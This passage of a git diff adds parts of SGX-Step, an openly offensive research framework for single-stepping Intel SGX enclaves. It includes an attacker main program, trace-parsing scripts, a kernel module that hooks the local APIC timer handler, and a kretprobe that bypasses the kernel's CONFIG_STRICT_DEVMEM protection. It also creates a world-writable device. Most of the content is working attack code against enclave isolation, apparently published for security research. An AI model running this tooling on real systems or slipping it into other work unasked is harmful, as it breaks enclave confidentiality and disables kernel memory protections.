PTE); + #endif + + print_page_table( get_enclave_base() ); + pmd_encl = remap_page_table_level( get_enclave_base(), PMD); + *pmd_encl = MARK_EXECUTE_DISABLE(*pmd_encl); +} + +/* Hook local APIC timer in /dev/sgx-step driver and setup one-shot mode. */ +void attacker_config_apic(void) +{ + apic_timer_oneshot(); + apic_hook(); +} + +/* Restore local APIC in TSC deadline mode. */ +void attacker_restore_apic(void) +{ + apic_timer_deadline(); +} + + +/* ================== ATTACKER MAIN ================= */ + +/* Untrusted main function to create/enter the trusted enclave. */ +int main( int argc, char **argv ) +{ + sgx_launch_token_t token = {0}; + int apic_fd, encl_strlen = 0, updated = 0; + + info("Creating enclave..."); + SGX_ASSERT( sgx_create_enclave( "./Enclave/encl.so", /*debug=*/1, + &token, &updated, &eid, NULL ) ); + + /* 1. Setup attack execution environment. */ + attacker_config_runtime(); + attacker_config_page_table(); + attacker_config_apic(); + + /* 2. Single-step enclaved execution. */ + info("calling enclave: attack=%d; num_runs=%d", ATTACK_SCENARIO, NUM_RUNS); + + #if (ATTACK_SCENARIO == ZIGZAGGER) + SGX_ASSERT( do_zigzagger(eid, NUM_RUNS) ); + #elif (ATTACK_SCENARIO == STRLEN) + SGX_ASSERT( do_strlen(eid, &encl_strlen, NUM_RUNS) ); + info("strlen returned by enclave is %d", encl_strlen); + info("attacker counted %d", strlen_nb_access); + #else + SGX_ASSERT( do_nop_slide(eid) ); + #endif + + /* 3. Restore normal execution environment. */ + attacker_restore_apic(); + SGX_ASSERT( sgx_destroy_enclave( eid ) ); + + info("all done; counted %d IRQs", irq_cnt); + return 0; +} diff --git a/app/bench/parse_nop.py b/app/bench/parse_nop.py new file mode 100755 index 0000000..abd8ae3 --- /dev/null +++ b/app/bench/parse_nop.py @@ -0,0 +1,42 @@ +#!/usr/bin/python3 +import re +import sys + +if (len(sys.argv) != 2): + print("usage: parse_nop.py expects one argument ") + exit(1) + +IN_FILE = 'out.txt' +OUT_FILE = 'parsed_nop.txt' + +# XXX fill in appropriate address from objdump encl.so here.. +INST_SLIDE_START = 0x14e6 +INST_SLIDE_LEN = int(sys.argv[1]) +INST_SLIDE_END = INST_SLIDE_START + INST_SLIDE_LEN + +count_tot = 0 +count_zero = 0 +count_one = 0 +count_plus = 0 +prev = 0 + +with open(IN_FILE, 'r') as fi, open(OUT_FILE, 'w') as fo: + for line in fi: + m = re.search('offset=0x([0-9A-Fa-f]+)', line) + if m: + cur = int(m.groups()[0], base=16) + if (cur >= INST_SLIDE_START) and (cur <= INST_SLIDE_END): + diff = cur - prev + if prev: + fo.write(str(diff) + '\n') + if diff == 0: + count_zero += 1 + elif diff == 1: + count_one += 1 + elif prev: + print("parse_nop.py: non-single step diff:", diff, "prev=", prev, " cur=", cur) + count_plus += 1 + prev = cur + count_tot += 1 + +print("parse_nop.py counted tot=", count_tot, " zero=", count_zero, " one=", count_one, " plus=", count_plus) diff --git a/app/bench/parse_strlen.py b/app/bench/parse_strlen.py new file mode 100755 index 0000000..646d80f --- /dev/null +++ b/app/bench/parse_strlen.py @@ -0,0 +1,72 @@ +#!/usr/bin/python3 +import re + +IN_FILE = 'out.txt' +OUT_FILE = 'parsed_strlen.txt' + +# 14c7: 48 89 f8 mov %rdi,%rax +# 14ca: 80 38 00 cmpb $0x0,(%rax) +# 14cd: 74 05 je 14d4 +# 14cf: 48 ff c0 inc %rax +# 14d2: eb f6 jmp 14ca +# 14d4: 48 29 f8 sub %rdi,%rax +# 14d7: c3 retq + +# XXX fill in appropriate address from objdump encl.so here.. +CMP = 0x1453 +JE = CMP+3 +INC = JE+2 +JMP = INC+3 +SUB = JMP+2 + +STRLEN = 11 + +inst_stream = (CMP, JE, INC, JMP) + +cur_inst = 0 +prev_inst = 0 + +#for i in inst_stream: +# print(hex(i)) + +print("parse_strlen.py: inst stream has length=", len(inst_stream)) + +count_tot = 0 +count_zero = 0 +count_one = 0 +count_plus = 0 +count_it = 0 +in_strlen = 0 + +with open(IN_FILE, 'r') as fi, open(OUT_FILE, 'w') as fo: + for line in fi: + m = re.search('offset=0x([0-9A-Fa-f]+)', line) + if m: + cur = int(m.groups()[0], base=16) + if (cur >= CMP and cur <= JMP): + in_strlen = 1 + count_tot += 1 + expected = inst_stream[cur_inst] + + if (cur == prev_inst): + count_zero += 1 + elif (cur == expected): + count_one += 1 + prev_inst = inst_stream[cur_inst] + cur_inst = (cur_inst + 1) % len(inst_stream) + elif (cur != expected): + skip = 0 + while (cur != inst_stream[cur_inst]): + cur_inst = (cur_inst + 1) % len(inst_stream) + skip += 1 + print("parse_strlen.py: skipped", skip) + count_plus += 1 + + elif in_strlen: + count_it += 1 + in_strlen = 0 + cur_inst = 0 + if (count_it == 10000): + break + +print("parse_stlen.py counted it=", count_it, "tot=", count_tot, " one=", count_one, " zero=", count_zero, " plus=", count_plus) diff --git a/app/bench/parse_zz.py b/app/bench/parse_zz.py new file mode 100755 index 0000000..acf1208 --- /dev/null +++ b/app/bench/parse_zz.py @@ -0,0 +1,72 @@ +#!/usr/bin/python3 +import re + +IN_FILE = 'out.txt' +OUT_FILE = 'parsed_zz.txt' + +# XXX fill in appropriate address from objdump encl.so here.. +BLOCK0 = 0x1488 +BLOCK0_J = BLOCK0+25 +BLOCK1 = BLOCK0_J+2 +BLOCK1_J = BLOCK1+8 +BLOCK2 = BLOCK1_J+2 +BLOCK2_J = BLOCK2+25 +BLOCK3 = BLOCK2_J+2 +BLOCK3_J = BLOCK3+8 +BLOCK4 = BLOCK3_J+2 +BLOCK5 = BLOCK4+1 +ZZ1 = BLOCK5+10 +ZZ2 = ZZ1+2 +ZZ3 = ZZ2+2 +ZZ4 = ZZ3+2 + + +inst_stream = (BLOCK0, BLOCK0+7, BLOCK0+14, BLOCK0+21, BLOCK0_J, ZZ1, BLOCK1_J, + ZZ2, BLOCK2_J, ZZ3, BLOCK3_J, ZZ4, BLOCK1, BLOCK1+1, BLOCK1_J, + ZZ2, BLOCK2_J, ZZ3, BLOCK3_J, ZZ4, BLOCK5) + +cur_inst = 0 +prev_inst = 0 + +#for i in inst_stream: +# print(hex(i)) + +print("parse_zz.py: inst stream has length=", len(inst_stream)) + +count_tot = 0 +count_zero = 0 +count_one = 0 +count_plus = 0 +count_it = 0 +in_zz = 0 + +with open(IN_FILE, 'r') as fi, open(OUT_FILE, 'w') as fo: + for line in fi: + m = re.search('offset=0x([0-9A-Fa-f]+)', line) + if m: + cur = int(m.groups()[0], base=16) + if (cur >= BLOCK0 and cur <= BLOCK5) or (cur >= ZZ1 and cur <= ZZ4): + in_zz = 1 + count_tot += 1 + expected = inst_stream[cur_inst] + if (cur == prev_inst): + count_zero += 1 + elif (cur == expected): + count_one += 1 + prev_inst = inst_stream[cur_inst] + cur_inst = (cur_inst + 1) % len(inst_stream) + elif (cur != expected): + skip = 0 + while (cur != inst_stream[cur_inst]): + cur_inst = (cur_inst + 1) % len(inst_stream) + skip += 1 + print("parse_zz.py: skipped", skip) + count_plus += 1 + + elif in_zz: + count_it += 1 + in_zz = 0 + if (count_it == 10000): + break + +print("parse_zz.py counted it=", count_it, "tot=", count_tot, " one=", count_one, " zero=", count_zero, " plus=", count_plus) diff --git a/kernel/Makefile b/kernel/Makefile new file mode 100644 index 0000000..ac7596c --- /dev/null +++ b/kernel/Makefile @@ -0,0 +1,19 @@ +LKM = sgx-step +SGX_DRIVER_DIR = ../ + +obj-m += $(LKM).o +$(LKM)-objs = sgxstep.o +ccflags-y := -I$(src)/$(SGX_DRIVER_DIR) + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + +unload: + sudo rmmod $(LKM).ko || true + +load: unload all + sudo insmod $(LKM).ko + dmesg | tail diff --git a/kernel/sgxstep.c b/kernel/sgxstep.c new file mode 100644 index 0000000..dfd9b6d --- /dev/null +++ b/kernel/sgxstep.c @@ -0,0 +1,332 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#include "sgxstep_internal.h" +#include "sgxstep_ioctl.h" + +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include "linux-sgx-driver/sgx.h" + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Jo Van Bulck , Raoul Strackx "); +MODULE_DESCRIPTION("SGX-Step: A Practical Attack Framework for Precise Enclave Execution Control"); + +int target_cpu = -1; +struct clock_event_device *levt = NULL; +void (*event_handler)(struct clock_event_device *) = NULL; +struct sgx_step_enclave_info victim = {0}; + +typedef long (*apvm_t)(struct task_struct *tsk, unsigned long addr, void *buf, int len, int write); + +long edbgrd(unsigned long addr, void *buf, int len) +{ + apvm_t apvm; + + /* access_process_vm will use the vm_operations defined by the isgx driver */ + RET_ASSERT(apvm = (apvm_t) kallsyms_lookup_name("access_process_vm")); + return apvm(current, addr, buf, len, /*write=*/0); +} + +unsigned long edbgrd_ssa(unsigned long tcs_addr, int ssa_field_offset) +{ + unsigned long ossa, ret, ssa_field_addr; + + edbgrd(tcs_addr + SGX_TCS_OSSA_OFFSET, &ossa, 8); + ssa_field_addr = victim.base + ossa + SGX_SSAFRAMESIZE + - SGX_GPRSGX_SIZE + ssa_field_offset; + + edbgrd(ssa_field_addr, &ret, 8); + return ret; +} + +int get_erip(void) +{ + struct pt_regs *regs = task_pt_regs(current); + unsigned long erip = 0x0; + + RET_ASSERT(regs && victim.aep && victim.erip_pt); + if (regs->ip == victim.aep) + { + /* NOTE: we do not pass regs->rbx (which should contain &TCS), but + rather use the value provided by the untrusted runtime; for + regs->rbx somehow doesn't contain the right value here.. */ + erip = edbgrd_ssa(victim.tcs, SGX_GPRSGX_RIP_OFFSET); + RET_ASSERT(!copy_to_user((void __user *) victim.erip_pt, + &erip, sizeof(erip))); + } + else + { + log("interrupted non-enclave code at %p", (void*) regs->ip); + } + + return 0; +} + +void attacker_lapic_event_handler(struct clock_event_device *dev) +{ + BUG_ON(!event_handler); + + if (victim.aep && victim.erip_pt) get_erip(); + + /* XXX insert custom kernel-level, attack-specific code here */ + + event_handler(dev); +} + +void attacker_ipi_handler(void) +{ + if (smp_processor_id() != target_cpu) + return; + + if (victim.aep && victim.erip_pt) get_erip(); + + /* XXX insert custom kernel-level, attack-specific code here */ +} + +int step_open(struct inode *inode, struct file *file) +{ + if (target_cpu != -1) + { + err("Device is already opened"); + return -EBUSY; + } + target_cpu = smp_processor_id(); + + /* Hook IPI vector (cf. https://github.com/jovanbulck/sgx-pte) */ + kvm_set_posted_intr_wakeup_handler(attacker_ipi_handler); + return 0; +} + +int step_release(struct inode *inode, struct file *file) +{ + target_cpu = -1; + + /* Restore local APIC timer IRQ handler */ + if (levt && event_handler) + { + levt->event_handler = event_handler; + log("local APIC timer event handler %p restored", event_handler); + + // genuine handler puts kernel back in control of APIC timer deadline + event_handler(levt); + levt = NULL; event_handler = NULL; + } + + /* Unhook IPI vector */ + kvm_set_posted_intr_wakeup_handler(NULL); + return 0; +} + +long sgx_step_ioctl_info(struct file *filep, unsigned int cmd, unsigned long arg) +{ + struct sgx_encl *enclave; + struct vm_area_struct *vma = NULL; + struct sgx_step_enclave_info *info = (struct sgx_step_enclave_info *) arg; + + vma = find_vma(current->mm, (uint64_t) info->tcs); + RET_ASSERT(vma && (enclave = vma->vm_private_data)); + RET_ASSERT(info->aep && info->tcs); + + victim.aep = info->aep; + victim.tcs = info->tcs; + victim.erip_pt = info->erip_pt; + info->base = victim.base = enclave->base; + info->size = victim.size = enclave->size; + + return 0; +} + +/* Wrap local APIC timer IRQ handler */ +long sgx_step_ioctl_lapic_hook(struct file *filep, unsigned int cmd, unsigned long arg) +{ + void *lapic_events = NULL; + RET_ASSERT(lapic_events = (void*) kallsyms_lookup_name("lapic_events")); + RET_ASSERT(levt = this_cpu_ptr(lapic_events)); + RET_ASSERT(!event_handler && (event_handler = levt->event_handler)); + levt->event_handler = attacker_lapic_event_handler; + log("CPU %d local APIC timer IRQ handler hooked: %p (original); " \ + "%p (wrapped)", smp_processor_id(), event_handler, levt->event_handler); + + return 0; +} + +long sgx_step_get_pt_mapping(struct file *filep, unsigned int cmd, unsigned long arg) +{ + address_mapping_t *map = (address_mapping_t*) arg; + pgd_t *pgd = NULL; + pud_t *pud = NULL; + pmd_t *pmd = NULL; + pte_t *pte = NULL; + uint64_t virt; + RET_ASSERT(map); + + virt = (uint64_t) map->virt; + memset( map, 0x00, sizeof( address_mapping_t ) ); + map->virt = virt; + + map->pgd_phys_address = __pa( current->mm->pgd ); + pgd = pgd_offset( current->mm, virt ); + map->pgd = *((uint64_t *) pgd); + + if ( !pgd_present( *pgd ) ) + return 0; + + pud = pud_offset( pgd, virt ); + map->pud = *((uint64_t *) pud); + + if ( !pud_present( *pud ) ) + return 0; + + pmd = pmd_offset( pud, virt ); + map->pmd = *((uint64_t *) pmd); + + if ( !pmd_present( *pmd ) ) + return 0; + + pte = pte_offset_map( pmd, virt ); + map->pte = *((uint64_t *) pte); + + if ( !pte_present( *pte ) ) + return 0; + + map->phys = PFN_PHYS( pte_pfn( *pte ) ) | ( virt & 0xfff ); + + return 0; +} + +typedef long (*ioctl_t)(struct file *filep, unsigned int cmd, unsigned long arg); + +long step_ioctl(struct file *filep, unsigned int cmd, unsigned long arg) +{ + char data[256]; + ioctl_t handler = NULL; + long ret; + + switch (cmd) + { + case SGX_STEP_IOCTL_VICTIM_INFO: + handler = sgx_step_ioctl_info; + break; + case SGX_STEP_IOCTL_LAPIC_HOOK: + handler = sgx_step_ioctl_lapic_hook; + break; + case SGX_STEP_IOCTL_GET_PT_MAPPING: + handler = sgx_step_get_pt_mapping; + break; + default: + return -EINVAL; + } + + RET_ASSERT(handler && (_IOC_SIZE(cmd) < 256)); + if (copy_from_user(data, (void __user *) arg, _IOC_SIZE(cmd))) + return -EFAULT; + + ret = handler(filep, cmd, (unsigned long) ((void *) data)); + + if (!ret && (cmd & IOC_OUT)) { + if (copy_to_user((void __user *) arg, data, _IOC_SIZE(cmd))) + return -EFAULT; + } + + return 0; +} + +static const struct file_operations step_fops = { + .owner = THIS_MODULE, + .unlocked_ioctl = step_ioctl, + .open = step_open, + .release = step_release +}; + +static struct miscdevice step_dev = { + .minor = MISC_DYNAMIC_MINOR, + .name = DEV, + .fops = &step_fops, + .mode = S_IRUGO | S_IWUGO +}; + +/* Code from: */ +static int devmem_is_allowed_handler (struct kretprobe_instance *rp, struct pt_regs *regs) +{ + if (regs->ax == 0) { + regs->ax = 0x1; + } + return 0; +} + +static struct kretprobe krp = { + .handler = devmem_is_allowed_handler, + .maxactive = 20 /* Probe up to 20 instances concurrently. */ +}; + +int init_module(void) +{ + /* Register virtual device */ + if (misc_register(&step_dev)) + { + err("virtual device registration failed.."); + step_dev.this_device = NULL; + return -EINVAL; + } + + /* Activate a kretprobe to bypass CONFIG_STRICT_DEVMEM kernel compilation option */ + krp.kp.symbol_name = "devmem_is_allowed"; + if (register_kretprobe(&krp) < 0) + { + err("register_kprobe failed.."); + step_dev.this_device = NULL; + return -EINVAL; + } + + log("listening on /dev/" DEV); + return 0; +} + +void cleanup_module(void) +{ + /* Unregister virtual device */ + if (step_dev.this_device) + misc_deregister(&step_dev); + + /* Restore local APIC timer IRQ handler */ + if (levt && event_handler) + { + levt->event_handler = event_handler; + log("local APIC timer event handler %p restored", event_handler); + } + + kvm_set_posted_intr_wakeup_handler(NULL); + log("kernel module unloaded"); +} diff --git a/kernel/sgxstep_internal.h b/kernel/sgxstep_internal.h new file mode 100644 index 0000000..c9e839f --- /dev/null +++ b/kernel/sgxstep_internal.h @@ -0,0 +1,49 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#ifndef SGXSTEP_INTERNAL_H_INC +#define SGXSTEP_INTERNAL_H_INC + +#include +#include + +#define DEV "sgx-step" +#define log(msg, ...) printk(KERN_INFO "[" DEV "] " msg "\n", ##__VA_ARGS__) +#define err(msg, ...) printk(KERN_ALERT "[" DEV "] error: " msg "\n", ##__VA_ARGS__) + +#define RET_ASSERT(cond) \ + do { \ + if (!(cond)) \ + { \ + err("assertion '" #cond "' failed."); \ + return -EINVAL; \ + } \ + } while(0) + +/* NOTE: incorrect GPRSGX size in Intel manual vol. 3D June 2016 p.38-7 */ +#define SGX_TCS_OSSA_OFFSET 16 +#define SGX_GPRSGX_SIZE 184 +#define SGX_GPRSGX_RIP_OFFSET 136 + +/* HACK: to avoid having to retrieve the SSA framesize from the untrusted + runtime (driver), we assume a standard/hard-coded SSA framesize of 1 page */ +#define SGX_SSAFRAMESIZE 4096 + +#endif diff --git a/kernel/sgxstep_ioctl.h b/kernel/sgxstep_ioctl.h new file mode 100644 index 0000000..7bdafbf --- /dev/null +++ b/kernel/sgxstep_ioctl.h @@ -0,0 +1,50 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#ifndef SGX_STEP_IOCTL_H_INC +#define SGX_STEP_IOCTL_H_INC + +#include + +#define SGX_STEP_IOCTL_MAGIC 'L' +#define SGX_STEP_IOCTL_VICTIM_INFO _IOWR(SGX_STEP_IOCTL_MAGIC, 0, struct sgx_step_enclave_info) +#define SGX_STEP_IOCTL_LAPIC_HOOK _IOWR(SGX_STEP_IOCTL_MAGIC, 0, void*) +#define SGX_STEP_IOCTL_GET_PT_MAPPING _IOWR(SGX_STEP_IOCTL_MAGIC, 0, address_mapping_t) + +struct sgx_step_enclave_info +{ + uint64_t base; + uint64_t size; + uint64_t aep; + uint64_t tcs; + void *erip_pt; +}; + +typedef struct { + uint64_t virt; + uint64_t phys; + uint64_t pgd_phys_address; + uint64_t pgd; + uint64_t pud; + uint64_t pmd; + uint64_t pte; +} address_mapping_t; + +#endif diff --git a/libsgxstep/Makefile b/libsgxstep/Makefile new file mode 100644 index 0000000..fb7b800 --- /dev/null +++ b/libsgxstep/Makefile @@ -0,0 +1,28 @@ +CC = gcc +AR = ar +ARFLAGS = -rcs + +CFLAGS += -DHAS_PSTATE -DHAS_TURBO + +INCLUDE = -I/opt/intel/sgxsdk/include/ +SOURCES = $(shell ls *.c) +OBJECTS = $(SOURCES:.c=.o) aep_trampoline.o +OUTPUT = libsgx-step.a + +all: $(OUTPUT) + +$(OUTPUT): $(OBJECTS) + echo "$(INDENT)[AR] " $(OUTPUT) + $(AR) $(ARFLAGS) $(OUTPUT) $(OBJECTS) + +%.o : %.c + echo "$(INDENT)[CC] " $< + $(CC) $(CFLAGS) $(INCLUDE) -c $< + +%.o : %.S + echo "$(INDENT)[AS] " $< + $(AS) $(INCLUDE) -c $< -o $@ + +clean: + echo "$(INDENT)[RM]" $(OBJECTS) $(OUTPUT) + rm -f $(OBJECTS) $(OUTPUT) diff --git a/libsgxstep/aep_trampoline.S b/libsgxstep/aep_trampoline.S new file mode 100644 index 0000000..b1c6ef4 --- /dev/null +++ b/libsgxstep/aep_trampoline.S @@ -0,0 +1,49 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +/* + * --------------------------------------------------------------------- + * Function: sgx_step_trampoline + * Code that will be returned to after interrupting an enclave. + * + * Registers: + * RAX - ERESUME leaf + * RBX - TSC address + * RCX - AEP address + */ + .text + .global sgx_step_aep_trampoline + .type sgx_step_aep_trampoline, @function +sgx_step_aep_trampoline: + mov %rbx, sgx_step_tcs + + /* optional C function callback */ + lea sgx_step_aep_cb, %rax + test %rax, %rax + je .Leresume + mov sgx_step_erip, %rdi + call *(%rax) + movq $0, sgx_step_erip + +.Leresume: + mov $3, %rax /* ERESUME leaf */ + mov sgx_step_tcs, %rbx /* TCS address */ + lea sgx_step_aep_trampoline, %rcx /* AEP address */ + .byte 0x0f, 0x01, 0xd7 /* ENCLU */ diff --git a/libsgxstep/apic.c b/libsgxstep/apic.c new file mode 100644 index 0000000..28223fe --- /dev/null +++ b/libsgxstep/apic.c @@ -0,0 +1,71 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#include "apic.h" +#include "pt.h" +#include +#include +#include "../kernel/sgxstep_ioctl.h" + +extern int fd_step; +void *apic_base = NULL; +void *dummy_pt = NULL; + +/* + * Code below maps APIC timer MMIO registers in user space. + * + * NOTE: we require xAPIC mode, since "In x2APIC mode, the memory mapped + * interface is not available and any access to the MMIO interface will behave + * similar to that of a legacy xAPIC in globally disabled state" (Intel SDM + * 10.12.2). + * + * Advised Linux kernel parameters are: "nox2apic iomem=relaxed no_timer_check" + */ +void apic_init(void) +{ + apic_base = remap(APIC_BASE); + info("established local APIC memory mapping at %p", apic_base); + + info("apic_id is %x", apic_read(APIC_ID)); + ASSERT(apic_read(APIC_ID) != -1); +} + +void apic_hook(void) +{ + ASSERT((fd_step >= 0) && (ioctl(fd_step, SGX_STEP_IOCTL_LAPIC_HOOK, &dummy_pt) >= 0)); +} + +int apic_timer_oneshot(void) +{ + apic_write(APIC_LVTT, LOCAL_TIMER_VECTOR | APIC_LVTT_ONESHOT); + apic_write(APIC_TDCR, APIC_TDR_DIV_2); + // NOTE: APIC seems not to handle divide by 1 properly (?) + // see also: http://wiki.osdev.org/APIC_timer) + info("APIC timer one-shot mode with division 2 (lvtt=%x/tdcr=%x)", + apic_read(APIC_LVTT), apic_read(APIC_TDCR)); +} + +int apic_timer_deadline(void) +{ + apic_write(APIC_LVTT, LOCAL_TIMER_VECTOR | APIC_LVTT_DEADLINE); + apic_write(APIC_TDCR, APIC_TDR_DIV_2); + info("APIC timer deadline mode with division 2 (lvtt=%x/tdcr=%x)", + apic_read(APIC_LVTT), apic_read(APIC_TDCR)); +} diff --git a/libsgxstep/apic.h b/libsgxstep/apic.h new file mode 100644 index 0000000..765051c --- /dev/null +++ b/libsgxstep/apic.h @@ -0,0 +1,78 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#ifndef SGX_STEP_APIC_H +#define SGX_STEP_APIC_H + +#include "debug.h" +#include + +#define APIC_BASE 0xfee00000 +#define APIC_ICR 0x300 +#define APIC_LVTT 0x320 +#define APIC_TDCR 0x3e0 +#define APIC_TMICT 0x380 +#define APIC_TMCCT 0x390 + +#define APIC_ID 0x20 + +#define APIC_TDR_DIV_1 0xb +#define APIC_TDR_DIV_2 0x0 +#define APIC_LVTT_ONESHOT (0 << 17) +#define APIC_LVTT_DEADLINE (2 << 17) + +#define LOCAL_TIMER_VECTOR 0xef +#define APIC_IPI_CFG 0xc08f1 + +extern void* apic_base; +void apic_init(void); +void apic_hook(void); + +/* + * From Linux kernel source: /arch/x86/include/asm/apic.h + * NOTE: Intel SDM: "any access that touches bytes 4 through 15 of an APIC + * register may cause undefined behavior and must not be executed." + */ +static inline int apic_write(uint32_t reg, uint32_t v) +{ + volatile uint32_t *addr; + if (!apic_base) apic_init(); + + addr = (volatile uint32_t *)(apic_base + reg); + asm volatile ("movl %1, %0\n\t" + :"=m"(*addr):"r"(v):); + + return 0; +} + +static inline uint32_t apic_read(uint32_t reg) +{ + if (!apic_base) apic_init(); + + return *((volatile uint32_t *)(apic_base + reg)); +} + +#define apic_send_ipi() apic_write(APIC_ICR, APIC_IPI_CFG) +#define apic_timer_irq(tsc) apic_write(APIC_TMICT, tsc); + +int apic_timer_oneshot(void); +int apic_timer_deadline(void); + +#endif diff --git a/libsgxstep/debug.h b/libsgxstep/debug.h new file mode 100644 index 0000000..6584900 --- /dev/null +++ b/libsgxstep/debug.h @@ -0,0 +1,49 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#ifndef SGX_STEP_DEBUG_H +#define SGX_STEP_DEBUG_H + +#include +#include +#include + +#define ASSERT(cond) \ + do { \ + if (!(cond)) \ + { \ + perror("[" __FILE__ "] assertion '" #cond "' failed"); \ + abort(); \ + } \ + } while(0) + +#define SGX_ASSERT(f) { if ( SGX_SUCCESS != (f) ) \ +{ \ + printf( "Error calling enclave at %s:%d\n", __FILE__, __LINE__ ); \ + abort(); \ +} } + +#define info(msg, ...) \ + do { \ + printf("[" __FILE__ "] " msg "\n", ##__VA_ARGS__); \ + fflush(stdout); \ + } while(0) + +#endif diff --git a/libsgxstep/enclave.c b/libsgxstep/enclave.c new file mode 100644 index 0000000..2bb46a1 --- /dev/null +++ b/libsgxstep/enclave.c @@ -0,0 +1,75 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#include "enclave.h" +#include "debug.h" +#include +#include "../kernel/sgxstep_ioctl.h" + +/* Includes custom AEP get/set functions from patched SGX SDK urts. */ +#include + +/* See aep_trampoline.S to see how these are used. */ +extern void sgx_step_aep_trampoline(void); +aep_cb_t sgx_step_aep_cb = NULL; +uint64_t sgx_step_tcs = 0x0; +uint64_t sgx_step_erip = 0x0; + +extern int fd_step; +struct sgx_step_enclave_info victim = {0}; +int ioctl_init = 0; + +void register_aep_cb(aep_cb_t cb) +{ + sgx_set_aep(sgx_step_aep_trampoline); + sgx_step_aep_cb = cb; +} + +void register_enclave_info(int edbgrd_rip) +{ + ASSERT(fd_step >= 0); + + victim.aep = (uint64_t) sgx_get_aep(); + victim.tcs = (uint64_t) sgx_get_tcs(); + victim.erip_pt = edbgrd_rip ? (void*) &sgx_step_erip : NULL; + ASSERT(ioctl(fd_step, SGX_STEP_IOCTL_VICTIM_INFO, &victim) >= 0); + ioctl_init = 1; +} + +void *get_enclave_base(void) +{ + ASSERT(ioctl_init && "/dev/sgx-step enclave_info struct not filled in"); + return (void*) victim.base; +} + +int get_enclave_size(void) +{ + ASSERT(ioctl_init && "/dev/sgx-step enclave_info struct not filled in"); + return (int) victim.size; +} + +void print_enclave_info(void) +{ + printf( "==== Victim Enclave ====\n" ); + printf( " Base: %p\n", get_enclave_base() ); + printf( " Size: %d\n", get_enclave_size() ); + printf( " TCS: %p\n", sgx_get_tcs() ); + printf( " AEP: %p\n", sgx_get_aep() ); +} diff --git 